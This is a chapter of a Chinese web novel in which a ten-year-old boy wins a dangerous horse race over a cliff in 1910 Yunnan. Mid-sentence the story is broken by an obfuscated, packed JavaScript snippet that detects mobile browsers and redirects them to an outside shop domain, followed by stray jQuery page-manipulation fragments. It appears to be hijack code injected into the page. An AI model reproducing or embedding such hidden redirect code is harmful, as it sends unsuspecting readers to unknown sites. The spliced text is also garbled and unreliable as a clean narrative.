宣统二年·云南
云南的雨林里,雾总是散不干净。
尤其清晨。山间白雾像活的一样,一层层挂在树梢,远处的寨楼、吊桥与鼓楼全泡在潮湿水汽里。鸟鸣从林子深处断断续续传来,偶尔还能听见铜铃与马帮经过时的声音。那是旧云南特有的气息,潮湿、危险,又带着一种原始山林才有的生命力。
而十岁的张子轩,正站在土司寨前。
小少爷今天穿了件黑底金纹的小褂,衣摆绣着暗金龙纹,扣子扣得整整齐齐,腰后还规规矩矩背着手。他那张脸生得太精致,冷白皮,黑眼睛,安安静静站在那里时,简直像旧王府里养出来的小公子,跟周围那些骑马玩刀、满身山野气的孩子完全不像一路人。
唯一的问题是。
他现在正在跟人赌气。
对面几个土司家的孩子明显比他大,最大的已经十三四岁,一个个骑在矮马上,穿着银饰短袍,看着这个从昆明来的“汉人小少爷”,眼神多少带着些不服气。
“你就是张镇山家的儿子?”
张子轩点了点头。
“嗯。”
“听说你阿爹很厉害。”
“还行。”
那少年被这句“还行”噎了一下,旁边几个孩子已经开始笑。
“那你会骑马吗?”
“会一点。”
“会打枪吗?”
“会一点。”
“会爬山?”
“会一点。”
几个土司少年终于不爽了。
“你怎么什么都会一点?!”
而十岁的张子轩,居然真的认真想了一下。
“因为我阿爹说,不会的话,会死。”
空气忽然安静了两秒。
几个孩子一时间甚至不知道该怎么接话。
而就在这时,远处山坡上传来一阵马铃声,有人站在高处朝下面喊:
“比不比?!”
“谁先翻过鹰嘴崖,谁赢!”
几个土司少年瞬间来劲了,纷纷应声。
“比!”
随后齐刷刷回头看向张子轩。
“你敢吗?”
雾气缓缓从山林间飘过去。
十岁的张子轩站在那里,很安静。过了几秒,他才轻轻“嗯”了一声。
半个时辰后,一群孩子已经骑马到了鹰嘴崖。
云南的山路极险,尤其下过雨后,到处都是泥泞与湿滑,稍不留神连马带人都会翻下山。几个土司家的孩子骑在马上,原本还觉得这个汉人小少爷肯定不行,可跑了一段之后,他们开始发现不对。
因为张子轩太稳了。
那已经不是“会一点”的程度。
黑马踩着山道往前冲的时候,十岁的孩子甚至没怎么晃。他腰背始终笔直,手腕稳得惊人,眼睛却一直在看前面的山路。
像是在算。
而更离谱的是。
他根本不怕。
别的小孩冲到危险地段时,都会下意识减速,可张子轩不会。他总能提前找到最稳的路线,什么时候该收缰,什么时候该借坡,什么时候该让马踩石头过去,几乎全在他脑子里。
后面已经有人开始喊:
“他疯了吗?!”
而张子轩根本没回头。
风从耳边呼啸过去,前方已经到了鹰嘴崖最险的一段。一边是山壁,一边是断崖,下面全是云雾,稍微偏一点,人和马都会一起摔下去。
后面几个土司少年已经开始紧张。
可就在这时,前面的山路忽然塌了一块。
“危险!!”
所有人脸色瞬间变了。
而张子轩的眼睛,却一下亮了。
下一秒,他猛地一拉缰绳!
黑马前蹄腾空,竟硬生生跃了过去!
山风
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932476|213645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
骤然掀起那件黑金小褂。十岁的孩子从断崖上飞过去的时候,连眼神都没乱。后面所有人全看傻了,甚至一时间忘了呼吸。
而张子轩落地之后,甚至还回头看了一眼。
很平静。
“你们不过来吗?”
几个土司少年当场被气得不轻。
妈的。
这汉人小少爷是不是有病?!
最后,张子轩第一个到了鹰嘴崖顶。
山风从高处吹过,浓雾渐渐散开,远处群山层层叠叠,整个云南像一头沉默伏卧的巨兽。十岁的孩子坐在马上,低头看着脚下山川,很久没说话。
后面几个土司少年终于追了上来,一个个灰头土脸,气喘吁吁。
为首那个明显还是不服气。
“你到底怎么骑的?!”
张子轩低头想了想。
“先看风。”
“什么?”
“再看山。”
几个孩子已经听懵了。
而张子轩却仍旧很认真。
“最后再看路。”
山风吹动他的额发,那双黑眼睛安静得不像十岁的孩子。几个土司少年站在那里,忽然有种很奇怪的感觉。
他们第一次意识到。
这个从昆明来的小少爷,跟他们不是一种人。
而张子轩已经重新抬起头。
望向远方。
云南的群山在晨雾里若隐若现,马帮、水道、矿路、土司寨,全藏在那些山脉之后。
十岁的张子轩忽然觉得。
这些山。
很好看。
而很多很多年后,二十六岁的张阎王坐在云南督军府里,望着铺满半个书房的地图时,依旧会想起宣统二年那个雾气未散的清晨。
那一年,他第一次站上鹰嘴崖。
也是第一次看见——
云南的山,到底有多大。